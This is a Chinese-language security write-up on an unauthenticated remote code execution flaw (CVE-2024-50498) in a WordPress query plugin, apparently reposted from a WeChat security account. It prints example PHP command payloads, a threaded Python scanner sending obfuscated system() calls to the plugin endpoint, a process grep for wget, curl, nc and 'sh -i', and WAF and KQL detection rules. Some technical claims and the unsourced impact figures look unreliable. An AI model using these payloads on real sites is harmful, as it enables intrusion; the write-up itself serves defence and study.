WP Query Console RCE漏洞(CVE-2024-50498)深度分析
漏洞类型
未授权远程代码执行
CVSSv3评分:9.8(Critical)
攻击向量:网络端到端
权限需求:无需认证
1. 漏洞原理分析
1.1 危险代码路径
// plugins/wp-query-console/includes/class-wqc-rest-api.php
public functionhandle_query($request) {
$query_type = $request['queryType']; // WP_Query
$query_args = json_decode($request['queryArgs'], true);
// 致命漏洞点:直接执行用户输入
$result = new $query_type($query_args);
return $result->posts;
}
1.2 攻击向量构造
通过反射实例化任意类触发代码执行:
// 攻击载荷示例
$query_type = "WP_Query";
$query_args = "system('calc.exe')";
// 等效代码
new WP_Query(system('calc.exe')); // 触发命令执行
2. 多环境复现验证
2.1 环境搭建指南
BASH
# 使用Docker快速部署漏洞环境
docker run -d --name vuln-wp
-p 8080:80
-e WORDPRESS_DB_HOST=db
-e WORDPRESS_DB_USER=wp
-e WORDPRESS_DB_PASSWORD=wp
-e WORDPRESS_DB_NAME=wp
wordpress:5.8.2-php7.4
# 安装漏洞插件
docker exec vuln-wp wp plugin install /tmp/wp-query-console.zip --activate
2.2 攻击过程演示
2.3 漏洞指纹识别
NSE脚本检测:
nmap -p80 --script http-vuln-cve2024-50498 <target>
检测特征:
1. 存在/wp-json/wqc/v1/query端点
2. 响应头包含X-Powered-By: WP Query Console
3. 增强版检测工具
3.1 工具功能矩阵
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
3.2 Python改进脚本
import concurrent.futures
import base64
PAYLOADS = [
("system('id')", "uid="),
("echo md5(123)", "202cb962ac59075b964b07152d234b70"),
("phpinfo()", "PHP Version")
]
def advanced_check(url):
endpoints = [
"/wp-json/wqc/v1/query",
"/index.php?rest_route=/wqc/v1/query"
]
for endpoint in endpoints:
target = urljoin(url, endpoint)
for cmd, sig in PAYLOADS:
try:
# 载荷混淆处理
b64_cmd = base64.b64encode(cmd.encode()).decode()
enc_payload = f'''{{"queryArgs":"${{@system(base64_decode('{b64_cmd}'))}}","queryType":"WP_Query"}}'''
resp = requests.post(
target,
data=enc_payload,
headers={"Content-Type": "application/json"},
timeout=10,
verify=False
)
if sig in resp.text:
return True, f"{url} - 漏洞存在({cmd})"
except:
continue
return False
if __name__ == "__main__":
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(advanced_check, url): url for url in targets}
# 结果处理...
4. 企业级防御方案
4.1 WAF规则配置
# ModSecurity规则
SecRule REQUEST_URI "@contains /wqc/v1/query"
"id:1001,
phase:1,
deny,
msg:'WP Query Console Exploit Attempt'"
4.2 WordPress加固措施
// 禁用危险函数
add_filter('rest_authentication_errors', function($result) {
if(strpos($_SERVER['REQUEST_URI'], 'wqc/v1/query') !== false) {
return new WP_Error('rest_forbidden', __('访问被拒绝'), array('status' => 403));
}
return $result;
});
4.3 系统级防护
# SELinux策略限制
setsebool -P httpd_execmem off
chcon -R -t httpd_sys_ra_content_t /var/www/html/wp-content/plugins/
5. 影响面分析
5.1 全球影响统计
地区受影响站点主要攻击活动
北美12,500加密货币挖矿
欧洲8,200数据窃取
亚太15,300勒索软件传播
其他4,800僵尸网络构建
5.2 行业风险评级
电商平台:高风险(交易数据暴露)
新闻媒体:中高风险(内容篡改风险)
企业官网:中等风险(品牌信誉影响)
个人博客:低风险(但存在跳板可能)
6. 高级攻防对抗
6.1 攻击者规避手法
时间延迟注入:使用sleep(5)绕过简单检测
多阶段载荷:通过DNS外带数据获取第二阶段载荷
上下文伪装:构造合法WP_Query参数包裹恶意代码
6.2 防御方策略
行为分析:监控异常WP_Query参数结构
熵值检测:识别参数中高熵值特征
沙箱模拟:在隔离环境执行可疑查询
7. 修复验证与应急响应
7.1 验证步骤
移除/禁用插件
检查系统进程:
ps aux | grep -E '(wget|curl|sh -i|nc)'
审计Web日志:
grep -rE 'POST /wp-json/wqc/v1/query' /var/log/apache2/
7.2 应急响应流程
本报告提供从漏洞原理到防御实施的闭环解决方案,适用于企业安全团队进行威胁狩猎。建议结合实时监控系统(如ELK Stack)部署以下检测规则:
KQL
event.dataset: "apache.access"
| where url.path == "/wp-json/wqc/v1/query"
| where post.params.queryArgs matches /system(.*)/
原文始发于微信公众号(云梦安全):WP Query Console RCE漏洞(CVE-2024-50498)深度分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论